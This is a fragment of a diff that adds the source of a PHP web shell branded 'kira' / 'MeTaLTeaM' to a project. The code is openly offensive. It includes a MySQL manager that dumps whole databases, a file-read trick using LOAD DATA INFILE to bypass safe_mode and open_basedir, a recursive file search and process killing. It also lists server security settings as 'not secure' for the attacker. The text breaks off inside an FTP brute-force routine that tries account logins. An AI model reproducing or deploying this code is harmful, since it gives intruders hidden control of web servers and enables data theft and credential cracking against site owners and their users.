(empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by kira.SQL v. ".$shver." +# Home page: http://google.com +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
".$sql_query_error."
";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo ""; + if ($tbl_struct) + { + echo "
"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":



 
Fields:
"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» ".$name."
";} + echo "
"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("k1r4fsearch")) +{ +function k1r4fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {k1r4fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function k1r4exit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "ON (secure)"; +} +else {$safemode = FALSE; $hsafemode = "OFF (no secure)";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v."";} +else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure)";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?> +<?php echo getenv("HTTP_HOST"); ?> - MeTaLTeaM.ORG

!MeTaLTeaM !

Software:  

uname -a: ",1); ?> 

",1);} else {echo get_current_user();} ?> 

Safe-mode: 

".htmlspecialchars($b).DIRECTORY_SEPARATOR.""; + $i++; +} +echo "   "; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "[ ok ]"; + echo "".view_perms(fileperms($d)).""; +} +else +{ + $wd = FALSE; + $wdt = "[ Read-Only ]"; + echo "".view_perms_color($d).""; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "
Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)"; +} +echo "
"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "".$letter."";} + $letters .= " ] "; + } + } + if (!empty($letters)) {echo "Detected drives: ".$letters."
";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "".$item[0]."    "; + } +} +echo "


"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "
".$donated_html."

";} +echo ""; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "".$line[0]."";} + $line[] = "KILL"; + $prcs[] = $line; + echo ""; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "";} + else {$y = "";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i".trim($head[$i])."";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo ""; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo ""; + } + } + } + $head[$k] = "".$head[$k]."".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "
"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?>

Attention! SQL-Manager is NOT ready module! Don't reports bugs.

"; + if (!$sql_sock) {?>"; + } + echo "
SQL Manager:
"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "
Can't connect
"; echo "".$err."";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "
MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + echo "
"; + } + echo "
i
  • If login is null, login is owner of process.
  • If host is null, host is localhost
  • If port is null, port is 3306 (default)
  •  Please, fill the form:
    UsernamePassword Database 
    HostPORT
    ">Home
    ".htmlspecialchars($sql_db)." ]---
    "; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].")
    "; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?>
    Home

    Please, select database
    "; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "
    There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
    "; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + echo "
    "; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "
    "; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "



     
    ";} + } + if (in_array($sql_act,$acts)) + { + ?>
    Create new table:
     
    Dump DB:
    "> 
    ";} + if ($sql_act == "newtbl") + { + echo ""; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    "; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason: ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "
    SQL-Dump:

    "; + echo "DB: 

    "; + $v = join (";",$dmptbls); + echo "Only tables (explode \";\") 1: 

    "; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "File: 

    "; + echo "Download:  

    "; + echo "Save to file:  "; + echo "



    1 - all, if empty"; + echo "
    "; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; + } + } + else {echo "Dump: nothing to do!";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "
    Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
    "; + echo "Structure ]   "; + echo "Browse ]   "; + echo "Dump ]   "; + echo "Insert ]   "; + if ($sql_tbl_act == "structure") {echo "

    Coming sooon!";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "

    Inserting row into table:
    "; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("

    ".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "
    "; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo ""; + $i++; + } + echo "
    FieldTypeFunctionValue
    ".htmlspecialchars($name)."".$field["Type"]."

    "; + echo "Insert as new row"; + if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";} + echo "

    "; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "
    "; + echo "\"Pages\" "; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "
    ";} + else {echo " ";} + } + if ($i == 0) {echo "empty";} + echo "
    From:  To:  
    "; + echo "
    "; + echo ""; + echo ""; + for ($i=0;$i"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "".$v."";} + else {echo "".$v."\"".$m."\"";} + echo ""; + } + echo ""; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo ""; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo ""; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "NULL";} + echo ""; + $i++; + } + echo ""; + echo ""; + } + mysql_free_result($result); + echo "
    Action
    ".$v.""; + echo "\"Delete\" "; + echo "\"Edit\" "; + echo "

     

    "; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "
    "; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + $i++; + } + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo "
    Table
    RowsTypeCreatedModifiedSizeAction
     ".$row["Name"]." ".$row["Rows"]."".$row["Type"]."".$row["Create_time"]."".$row["Update_time"]."".$size." \"Empty\"  \"Drop\" \"Insert\" 
    »
    ".$i." table(s)
    ".$trows."".$row[1]."".$row[10]."".$row[11]."".view_size($tsize)."

     

    "; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?>
    Create new DB:
     
    View File:
     
    "; + if ($sql_act == "newdb") + { + echo ""; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    ";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason:
    ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "
    Server-status variables:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "
    Server variables:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen.";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "
    Processes:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "";} + echo "
    IDUSERHOSTDBCOMMANDTIMESTATEINFOAction
    ".$row[0]."".$row[1]."".$row[2]."".$row[3]."".$row[4]."".$row[5]."".$row[6]."".$row[7]."Kill
    "; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "Error in reading file (permision denied)!";} + else + { + for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!
    ";} + else {echo "File \"".$sql_getfile."\":
    ".nl2br(htmlspecialchars($f))."
    ";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "
    "; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "
    Affected rows: ".$affected."
    "; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": object alredy exists";} + elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": access denied";} + echo "

    "; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "Ftp Quick brute:
    "; + if (!win) {echo "This functions not work in Windows!

    ";} + else + { + function k1r4ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\".
